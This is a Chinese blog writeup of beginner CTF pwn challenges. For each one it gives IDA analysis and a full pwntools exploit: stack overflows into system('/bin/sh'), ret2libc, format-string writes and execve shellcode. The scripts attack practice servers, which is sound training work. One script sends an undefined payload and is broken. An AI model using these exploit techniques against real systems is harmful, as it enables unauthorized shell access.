攻防世界新手pwn题writeup

最新推荐文章于 2024-07-26 15:25:27 发布
最新推荐文章于 2024-07-26 15:25:27 发布
阅读量1.5k 收藏 4
点赞数
文章标签： 安全 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/thinker11/article/details/104101205
版权

level2

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述
进入vulnerable_function函数

在这里插入图片描述
读入的值明显大于buf自身的大小

又有system函数，就差/bin/sh了

接下来我们

SHIFT+F12

在这里插入图片描述

双击system函数，得到地址 0x8048320

双击binsh，得到地址 0x0804a024

双击buf,得到buf到返回地址的偏移 0x88+4=140

3.EXP

from pwn import *
p=remote('111.198.29.45',53371)
sys_addr=0x8048320
binsh_addr=0x0804a024
payload='a'*140+p32(sys_addr)+'a'*4+p32(binsh_addr)
p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

guess_num

1.查壳

在这里插入图片描述

2.ida分析

在这里插入图片描述gets函数存在栈溢出漏洞，再看一下有没有值得注意的

在这里插入图片描述sub_C3E中有我们想要的东西，

最开始的想法肯定是通过溢出，跳转到sub_C3E的位置，直接执行cat flag

但是发现不可行，因为中间有个seed，所以我们需要通过溢出漏洞，覆盖seed得到一个已知的种子，使程序运行到sub_C3E那里

双击v8得到v8到seed的距离0x20

通过ldd guess_num得到共享文件：/lib/x86_64-linux-gnu/libc.so.6

在这里插入图片描述

3.EXP

from pwn import *
from ctypes import *
p=remote('111.198.29.45',57730)
elf=ELF('./guess_num')
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload='a'*0x20+p64(1)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
	num=str(libc.rand()%6+1)
	p.recvuntil('number:')
	p.sendline(num)
p.interactive()

4.Flag

在这里插入图片描述

int_overflow

一看名字就知道这是一道整数溢出的题目

1.查壳

在这里插入图片描述

2.ida分析

在这里插入图片描述没什么亮点，进入login函数看看

在这里插入图片描述没什么亮点，进入check_passwd函数
在这里插入图片描述strcpy那里是个漏洞，

whats_this函数那里有我们想要的
在这里插入图片描述
要想执行strcpy函数，我们必须要使v3大于3，小于等于8，不过v3是个无符号整型，八位寄存器对于无符号整数来说是有0~255的范围的，所以我们构造255个字符，就能构成溢出，而返回地址占4个字节，所以是259
在这里插入图片描述

从这里可以看出passwd的保存为0x14,溢出，然后跳转到system函数那里，我们就能够得到flag

3.EXP

from pwn import *
p=remote('111.198.29.45',53086)
flag_addr=0x804868b
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("Please input your username:\n")
p.sendline('kk')
payload='a'*0x14+'aaaa'+p32(flag_addr)
payload=payload.ljust(262,'a')
p.recvuntil("passwd:\n")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

cgpwn2

1.查壳

在这里插入图片描述

2.ida分析

在这里插入图片描述
进入hello函数
在这里插入图片描述gets函数栈溢出漏洞
在这里插入图片描述

存在system函数，但是没有binsh字符串

又看到fgets函数，

思路有了，我们可以通过fgets函数将binsh字符串传入name里面，

然后通过栈溢出漏洞覆盖返回地址，最后调用system函数和name

system函数的地址：0x8048420

name函数的地址:0x804a080

s到返回地址的偏移 :0x26+4=42

3.EXP

from pwn import *
p=remote('111.198.29.45',58337)
sys_addr=0x8048420
name_addr=0x804a080
p.recvuntil("\n")
p.sendline('/bin/sh')
payload='a'*42+p32(sys_addr)+'aaaa'+p32(name_addr)
p.recvuntil("\n")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

when_did_you_born

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述我们只需要让程序执行system(“cat flag”)即可

发现gets漏洞函数，思路有了，先让v5不等于1926然后通过gets函数覆盖v5为1926,就可以的到flag

v4到v5的距离为:0x20-0x18=8

3.EXP

from pwn import *
p=remote('111.198.29.45',47153)
p.recvuntil("What's Your Birth?")
p.sendline("1927")
payload='a'*8+p64(1926)
p.recvuntil("What's Your Name?")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

hello_pwn

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

read函数存在栈溢出漏洞，

进入sub_400686函数中

在这里插入图片描述

我们通过read函数覆盖dword_60106c为1853186401，就能得到flag

两个函数的偏移为0x601068-0x60106C=4

3.EXP

from pwn import *
p=remote('111.198.29.45',41777)
payload='a'*4+p64(1853186401)
p.recvuntil("lets get helloworld for bof")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

level3

文件打开之后还是个压缩包，改文件格式为zip

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

在这里插入图片描述

read函数栈溢出漏洞，这道题没有system函数也没有/bin/sh，但是给了我们一个共享文件，所以这是一道ret2libc的题目

我们可以泄露write函数的真实地址

buf到返回地址的偏移为140

3.EXP

通过ROPgadget --binary libc_32.so.6 --string '/bin/sh'获得libc中的binsh字符串的地址

在这里插入图片描述

from pwn import *
p=remote('111.198.29.45',57663)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
write_plt=elf.plt['write']
main_plt=elf.symbols['main']
write_got=elf.got['write']
payload1='a'*140+p32(write_plt)+p32(main_plt)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr=u32(p.recv()[:4])
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+libc.symbols['system']
libc_binsh_addr=0x0015902b
binsh_addr=libcbase+libc_binsh_addr
payload='a'*140+p32(sys_addr)+'aaaa'+p32(binsh_addr)
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

string

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述我们可以得到v4的地址

在这里插入图片描述没啥亮点

在这里插入图片描述在这里插入图片描述printf函数存在格式化字符串漏洞

在这里插入图片描述

read函数下面可以把输入的字符串当作指令执行，我们可以写入shellcode

但是要求是a1==a1[1]，往上回溯，我们查到分别是v3和v3[1]，但是两个值，一个是68，一个是85.

sub_400bb9函数中格式化字符串漏洞，我们可以利用那个漏洞将v3的值改为85

而v3的地址程序中已经告诉我们了，即v4的地址0xb21260

3.EXP

八位寄存器对于无符号整数来说是有0~255的范围的。
在64位程序运行中，参数传递需要寄存器。
64位参数传递约定：前六个参数按顺序存储在寄存器rdi,rsi,rdx,rcx,r8,r9中，
参数超过六个时，从第七个开始压入栈中

from pwn import *
p=remote('111.198.29.45',43616)
p.recvuntil("sercet[0] is")
v3_addr=int(p.recvuntil("\n")[:-1],16)
p.sendlineafter("What should your character's name be:",'123')
p.sendlineafter("So,where you will go?east or up?:",'east')
p.sendlineafter("go into there(1),or leave(0)?:",'1')
p.sendlineafter("'Give me an address'",str(v3_addr))
p.sendlineafter("And,you wish is:",'%85c%7$n')
context(os='linux',arch='amd64')
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil("USE YOU SPELL")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

get_shell

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

3.EXP

nc 111.198.29.45 46953

4.Flag

在这里插入图片描述

CGfsb

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

printf函数存在格式化字符串漏洞，通过漏洞使pwnme=8,就能得到flag

这里我们用gdb算偏移

chmod 777 cg

gdb ./cg

b * 0x80486cd下断点
在这里插入图片描述

x/16x $esp

在这里插入图片描述
偏移为10

3.EXP

理解：fmtstr_payload(偏移,{key内存地址,value值})

第一个参数表示格式化字符串的偏移；

第二个参数表示需要利用%n写入的数据，采用字典形；

第三个参数表示已经输出的字符个数，这里没有，为0，采用默认值即可；

第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。

from pwn import *
p=remote('111.198.29.45',47218)
pwnme=0x0804a068
#payload=p32(pwnme)+'aaaa%10$n'
payload=fmtstr_payload(10,{pwnme:8})
p.recvuntil("your name:\n")
p.sendline('aaa')
p.recvuntil("message please:\n")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

我自己的公众号
在这里插入图片描述

Hacker Snownman
关注
攻防世界pwn题：Recho.doc
07-13
攻防世界pwn题：Recho.doc 知识点总结 本文总结了攻防世界pwn题：Recho.doc的知识点，涵盖了二进制文件分析、栈溢出、ROP技术、libc泄露、系统调用等多个方面。 1. 二进制文件分析 攻防世界pwn题：Recho.doc是一...
NCTF2019 -- PWN部分writeup
qq_41988448的博客
11-27 1279
easy_rop 链接：https://pan.baidu.com/s/1ohXfpbiIb3jjHpYtcuS9xA 提取码：lz3e 文件防护 反汇编 调试的时候发现main函数的rbp居然是pie，而返回地址下面第四行是main函数自己的头部指针 已知条件 存在栈溢出，大小为4个栈单元 开启了canary保护，可以用’+'号绕过 main函数的 rbp 为 pie（基址） main函...
攻防世界 pwn进阶区解法 write up（一）
qq_46441427的博客
03-01 398
实时数据监测 找信息 没有发现canary，没有开启PIE和NX 查看ida 发现有一个printf，这里是fgets，可能会用到格式化字符串漏洞，运行一下程序 结合ida的分析我们可知，要把这个值改成0x2223322，那结合之前的printf，可以确定是格式化字符串漏洞 给了我们地址，那我们的payload就以地址为开头，因为是p32，所以后面35795746要减4，构成%35795742d%偏移量n$ 然后确定偏移量： 总共，从A到41包括A有12个，偏移量=12 所以得到payload
攻防世界XCTF-Pwn入门11题解题报告
最新发布
HUANGXIN9898的博客
07-26 744
Pwn是CTF中至关重要的项目，一般来说都是Linux二进制题目，零基础的同学可以看《程序员的自我修养》，主要题型包括：缓冲区溢出、Return to Libc、格式化字符串、PLT GOT等。
PWN 基础篇 Write Up
qq_61553520的博客
10-02 530
data 信息第一句定义了一个名为_data的数据段。segment关键字用于声明一个新的段，dword表示每个数据元素的大小为 4 字节，public表示该段可以在其他模块中访问，'DATA'是标识符，用于标识数据段。第二句则是将代码段（.text）的默认段寄存器cs和数据段（.data）的_data段寄存器进行关联。assume关键字用于指定段寄存器与段的关系，在这里它指定了cs寄存器与_data段寄存器的关联。通过这两句指令，我们可以确保在程序运行时，使用cs寄存器来访问_data段。
[pwn] -常见报错
s11show_163的博客
04-16 407
源代码： ##!/usr/bin/env python from pwn import * sh = process('./ret2text') target = 0x804863a sh.sendline('A' * (0x6c+4) + p32(target)) sh.interactive() .解决办法：pip install pwntools 参考链接：https://ww...
PolarCTF 2024冬季个人挑战赛 WriteUp (pwn部分)_polar ctf 东北话是最好的语言
Python毕设源码程序王哥
04-12 870
（2）然后，查看del_note()函数该函数根据用户输入的 Index 值来确定删除哪一个note，第二个红框中，对存放note和puts函数的内存空间都进行了释放，但没有将指针置空，存在漏洞可以发现，题目给出的程序存在后门函数magic，通过执行该函数可以获取flag。那么，可以尝试将del_note()函数中未置空的指针指向magic函数的地址，进而执行该后门函数。
攻防世界pwn题：forgot.doc
07-13
攻击防御世界pwn题：forgot.doc 本文档是关于攻击防御世界pwn题的Forgot.doc，涉及到有限状态自动机、正则表达式、电子邮件地址验证、Lua、IDA静态分析、canary和PIE保护机制、scanf函数溢出漏洞、栈溢出攻击、...
level0 -- 攻防世界新手题
01-19
来自攻防世界的pwn题，是一道简单的新手样本题目，但由于不同linux的libc版本，会使得在ubuntu18.04以及ubuntu20.04中进行漏洞利用产生一些小问题。漏洞利用问题解决链接：...
pwn栈溢出10道练习题有writeup
01-04
在这个场景中，"pwn栈溢出10道练习题有writeup" 提供了10个关于栈溢出的实战练习，每个题目都配有详细的解答，这对于学习和理解栈溢出漏洞原理及其利用技术非常有帮助。 栈溢出是由于程序在栈上分配的内存不足，...
bugku pwn题libc
11-06
bugku pwn题libc，pwn3做题时可在里面查找system、binsh等
PWN-PRACTICE-CTFSHOW-3
P1umH0的博客
01-13 640
PWN-PRACTICE-CTFSHOW-3pwn10萌新赛-签到题萌新赛-数学99内部赛-签到题 pwn10 格式化字符串漏洞，覆写num为16即可打印出flag # -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28045) elf=ELF("./pwn1") #gdb.attach(io,"b * 0x0
攻防世界pwn新手区题解-level3
weixin_62621015的博客
04-17 1076
攻防世界pwn-level3详细题解。
攻防世界hello pwn WP（pwn入门基础题）
m0_62584974的博客
11-21 2120
攻防世界hello pwn WP（pwn入门基础题）的简单讲解
攻防世界-pwn 新手练习区
hanqdi_的博客
02-24 2374
when_the_your_born 要求v5=1926即可得到flag，而根据程序，v5只要等于1926就进入不了这个分支，也就是说，我们输入的v5不能等于1926。 这里可以利用gets函数的输入v4，来覆盖v5。 v4:ebp-0x20 v5:ebp-0x18 v4和v5相差0x08，即在输入v4时，先输入0x08个垃圾数据，在输入1926即可实现覆盖。 payload如下 from pw...
攻防世界 pwn 二进制漏洞简单题练习区 答题（1-10题解）
小哈里的博客
01-12 5573
序 1、level0 题目描述：菜鸡了解了什么是溢出，他相信自己能得到shell 题目思路： 首先使用checksec检查文件保护机制，是多少位的程序。 64位程序，栈不能执行 继续丢入IDA。 输出字符串helloWord之后执行vulnerable_function()函数，没有与用户交互。 进入vulnerable_function函数，通过伪代码分析逻辑，发现了栈溢出漏洞。 发现buf数组只有0x80字节，但是read函数从中读了0x200个。 或许咱们能够进行溢出，覆盖掉返回地址，
【愚公系列】2022年01月 攻防世界-简单题-PWN-001(level0)
热门推荐
时光隧道
01-17 3万+
文章目录一、level0二、答题步骤1.获取在线场景2.查壳3.IDA总结 一、level0 题目链接：https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0 二、答题步骤 1.获取在线场景 2.查壳 对下载文件进行查壳，命令如下 file level0 checksec --file=level0 分析文件，小端程序（LSB），栈不可执行。 3.IDA 使用IDA对文件进行反汇编 第一步：首先找到ma
攻防世界Web新手区题解（超详细）
weixin_52385170的博客
06-21 7014
Web新手区题解
攻防世界pwn新手题答案
08-10
回答: 对于攻防世界pwn新手题，其中一个关键是要修改全局变量pwnme的内容。通过格式化字符串的方法，可以实现这个目标。格式化字符串的原理是利用输入的格式化字符串，修改内存中的指定位置的值。具体的方法可以参考...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值